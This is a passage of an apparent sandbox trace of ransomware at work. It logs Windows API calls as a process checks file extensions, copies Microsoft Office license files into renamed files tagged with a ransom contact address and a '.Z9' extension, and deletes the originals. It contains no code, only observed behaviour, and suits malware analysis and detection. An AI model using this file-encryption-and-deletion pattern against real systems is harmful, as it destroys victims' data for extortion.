	[0181.130] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-oob.xrm-ms") returned 85
	[0181.130] lstrlenW (lpString=".jpg") returned 4
	[0181.130] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.130] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0181.130] lstrlenW (lpString="HomeBusinessR_Trial-pl.xrm-ms") returned 29
	[0181.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0181.131] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=11167) returned 1
	[0181.131] CloseHandle (hObject=0x36c) returned 1
	[0181.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms")) returned 0x220
	[0181.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0181.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0181.132] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.132] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0181.133] GetLastError () returned 0x0
	[0181.133] ReadFile (in: hFile=0x36c, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x2b9f, lpOverlapped=0x0) returned 1
	[0181.150] WriteFile (in: hFile=0x53c, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x2ba0, lpOverlapped=0x0) returned 1
	[0181.154] ReadFile (in: hFile=0x36c, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.154] WriteFile (in: hFile=0x53c, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0181.154] SetEndOfFile (hFile=0x53c) returned 1
	[0181.154] CloseHandle (hObject=0x53c) returned 1
	[0181.154] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.154] SetEndOfFile (hFile=0x36c) returned 1
	[0181.157] CloseHandle (hObject=0x36c) returned 1
	[0181.158] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0181.158] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-pl.xrm-ms")) returned 1
	[0181.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79
	[0181.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79
	[0181.159] lstrlenW (lpString=".doc") returned 4
	[0181.159] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.159] lstrlenW (lpString=".docx") returned 5
	[0181.159] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.159] lstrlenW (lpString=".pdf") returned 4
	[0181.159] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.159] lstrlenW (lpString=".xls") returned 4
	[0181.159] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.159] lstrlenW (lpString=".xlsx") returned 5
	[0181.159] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.159] lstrlenW (lpString=".ppt") returned 4
	[0181.160] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79
	[0181.160] lstrlenW (lpString=".zip") returned 4
	[0181.160] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.160] lstrlenW (lpString=".rar") returned 4
	[0181.160] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.160] lstrlenW (lpString=".bz2") returned 4
	[0181.160] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.160] lstrlenW (lpString=".7z") returned 3
	[0181.160] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79
	[0181.160] lstrlenW (lpString=".dbf") returned 4
	[0181.160] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79
	[0181.160] lstrlenW (lpString=".1cd") returned 4
	[0181.160] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79
	[0181.160] lstrlenW (lpString=".jpg") returned 4
	[0181.160] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79
	[0181.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79
	[0181.160] lstrlenW (lpString=".doc") returned 4
	[0181.160] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.160] lstrlenW (lpString=".docx") returned 5
	[0181.160] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.160] lstrlenW (lpString=".pdf") returned 4
	[0181.160] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.160] lstrlenW (lpString=".xls") returned 4
	[0181.160] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.160] lstrlenW (lpString=".xlsx") returned 5
	[0181.160] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.160] lstrlenW (lpString=".ppt") returned 4
	[0181.160] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79
	[0181.161] lstrlenW (lpString=".zip") returned 4
	[0181.161] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.161] lstrlenW (lpString=".rar") returned 4
	[0181.161] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.161] lstrlenW (lpString=".bz2") returned 4
	[0181.161] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.161] lstrlenW (lpString=".7z") returned 3
	[0181.161] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79
	[0181.161] lstrlenW (lpString=".dbf") returned 4
	[0181.161] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79
	[0181.161] lstrlenW (lpString=".1cd") returned 4
	[0181.161] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-pl.xrm-ms") returned 79
	[0181.161] lstrlenW (lpString=".jpg") returned 4
	[0181.161] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.161] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0181.161] lstrlenW (lpString="HomeBusinessR_Trial-ppd.xrm-ms") returned 30
	[0181.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0181.162] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=22214) returned 1
	[0181.162] CloseHandle (hObject=0x36c) returned 1
	[0181.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms")) returned 0x220
	[0181.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0181.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0181.163] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.163] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0181.164] GetLastError () returned 0x0
	[0181.164] ReadFile (in: hFile=0x36c, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x56c6, lpOverlapped=0x0) returned 1
	[0181.706] WriteFile (in: hFile=0x53c, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x56d0, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x56d0, lpOverlapped=0x0) returned 1
	[0182.533] ReadFile (in: hFile=0x36c, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.533] WriteFile (in: hFile=0x53c, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x110, lpOverlapped=0x0) returned 1
	[0182.533] SetEndOfFile (hFile=0x53c) returned 1
	[0182.534] CloseHandle (hObject=0x53c) returned 1
	[0182.534] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.534] SetEndOfFile (hFile=0x36c) returned 1
	[0182.537] CloseHandle (hObject=0x36c) returned 1
	[0182.537] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0182.741] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial-ppd.xrm-ms")) returned 1
	[0182.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80
	[0182.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80
	[0182.745] lstrlenW (lpString=".doc") returned 4
	[0182.745] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.745] lstrlenW (lpString=".docx") returned 5
	[0182.745] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.745] lstrlenW (lpString=".pdf") returned 4
	[0182.745] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.745] lstrlenW (lpString=".xls") returned 4
	[0182.745] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.745] lstrlenW (lpString=".xlsx") returned 5
	[0182.745] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.745] lstrlenW (lpString=".ppt") returned 4
	[0182.746] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80
	[0182.746] lstrlenW (lpString=".zip") returned 4
	[0182.746] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.746] lstrlenW (lpString=".rar") returned 4
	[0182.746] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.746] lstrlenW (lpString=".bz2") returned 4
	[0182.746] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.746] lstrlenW (lpString=".7z") returned 3
	[0182.746] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80
	[0182.746] lstrlenW (lpString=".dbf") returned 4
	[0182.746] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80
	[0182.746] lstrlenW (lpString=".1cd") returned 4
	[0182.746] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80
	[0182.746] lstrlenW (lpString=".jpg") returned 4
	[0182.746] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80
	[0182.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80
	[0182.746] lstrlenW (lpString=".doc") returned 4
	[0182.746] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.746] lstrlenW (lpString=".docx") returned 5
	[0182.746] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.746] lstrlenW (lpString=".pdf") returned 4
	[0182.746] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.746] lstrlenW (lpString=".xls") returned 4
	[0182.746] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.746] lstrlenW (lpString=".xlsx") returned 5
	[0182.746] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.746] lstrlenW (lpString=".ppt") returned 4
	[0182.746] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.746] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80
	[0182.746] lstrlenW (lpString=".zip") returned 4
	[0182.746] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.747] lstrlenW (lpString=".rar") returned 4
	[0182.747] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.747] lstrlenW (lpString=".bz2") returned 4
	[0182.747] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.747] lstrlenW (lpString=".7z") returned 3
	[0182.747] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80
	[0182.747] lstrlenW (lpString=".dbf") returned 4
	[0182.747] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80
	[0182.747] lstrlenW (lpString=".1cd") returned 4
	[0182.747] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial-ppd.xrm-ms") returned 80
	[0182.747] lstrlenW (lpString=".jpg") returned 4
	[0182.747] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.747] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0182.747] lstrlenW (lpString="HomeStudentR_Grace-ppd.xrm-ms") returned 29
	[0182.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0182.748] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=21546) returned 1
	[0182.748] CloseHandle (hObject=0x344) returned 1
	[0182.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms")) returned 0x220
	[0182.748] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0182.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0182.749] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.749] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538
	[0182.750] GetLastError () returned 0x0
	[0182.750] ReadFile (in: hFile=0x344, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x542a, lpOverlapped=0x0) returned 1
	[0182.761] WriteFile (in: hFile=0x538, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x5430, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x5430, lpOverlapped=0x0) returned 1
	[0182.763] ReadFile (in: hFile=0x344, lpBuffer=0x3c8b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x322fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesRead=0x322fecc*=0x0, lpOverlapped=0x0) returned 1
	[0182.763] WriteFile (in: hFile=0x538, lpBuffer=0x3c8b020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x322fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8b020*, lpNumberOfBytesWritten=0x322fc94*=0x10e, lpOverlapped=0x0) returned 1
	[0182.763] SetEndOfFile (hFile=0x538) returned 1
	[0182.763] CloseHandle (hObject=0x538) returned 1
	[0182.763] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x322fec0 | out: lpNewFilePointer=0x0) returned 1
	[0182.763] SetEndOfFile (hFile=0x344) returned 1
	[0182.766] CloseHandle (hObject=0x344) returned 1
	[0182.767] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0182.769] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_grace-ppd.xrm-ms")) returned 1
	[0182.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79
	[0182.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79
	[0182.770] lstrlenW (lpString=".doc") returned 4
	[0182.770] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.770] lstrlenW (lpString=".docx") returned 5
	[0182.770] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.770] lstrlenW (lpString=".pdf") returned 4
	[0182.770] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.770] lstrlenW (lpString=".xls") returned 4
	[0182.770] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.770] lstrlenW (lpString=".xlsx") returned 5
	[0182.770] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.770] lstrlenW (lpString=".ppt") returned 4
	[0182.770] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79
	[0182.770] lstrlenW (lpString=".zip") returned 4
	[0182.771] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0182.771] lstrlenW (lpString=".rar") returned 4
	[0182.771] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0182.771] lstrlenW (lpString=".bz2") returned 4
	[0182.771] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0182.771] lstrlenW (lpString=".7z") returned 3
	[0182.771] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0182.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79
	[0182.771] lstrlenW (lpString=".dbf") returned 4
	[0182.771] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0182.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79
	[0182.771] lstrlenW (lpString=".1cd") returned 4
	[0182.771] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0182.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79
	[0182.771] lstrlenW (lpString=".jpg") returned 4
	[0182.771] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0182.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79
	[0182.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79
	[0182.771] lstrlenW (lpString=".doc") returned 4
	[0182.771] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0182.771] lstrlenW (lpString=".docx") returned 5
	[0182.771] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0182.771] lstrlenW (lpString=".pdf") returned 4
	[0182.771] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0182.771] lstrlenW (lpString=".xls") returned 4
	[0182.771] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0182.771] lstrlenW (lpString=".xlsx") returned 5
	[0182.771] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0182.771] lstrlenW (lpString=".ppt") returned 4
	[0182.771] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0182.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Grace-ppd.xrm-ms") returned 79
	[0182.771] lstrlenW (lpString=".zip") returned 4
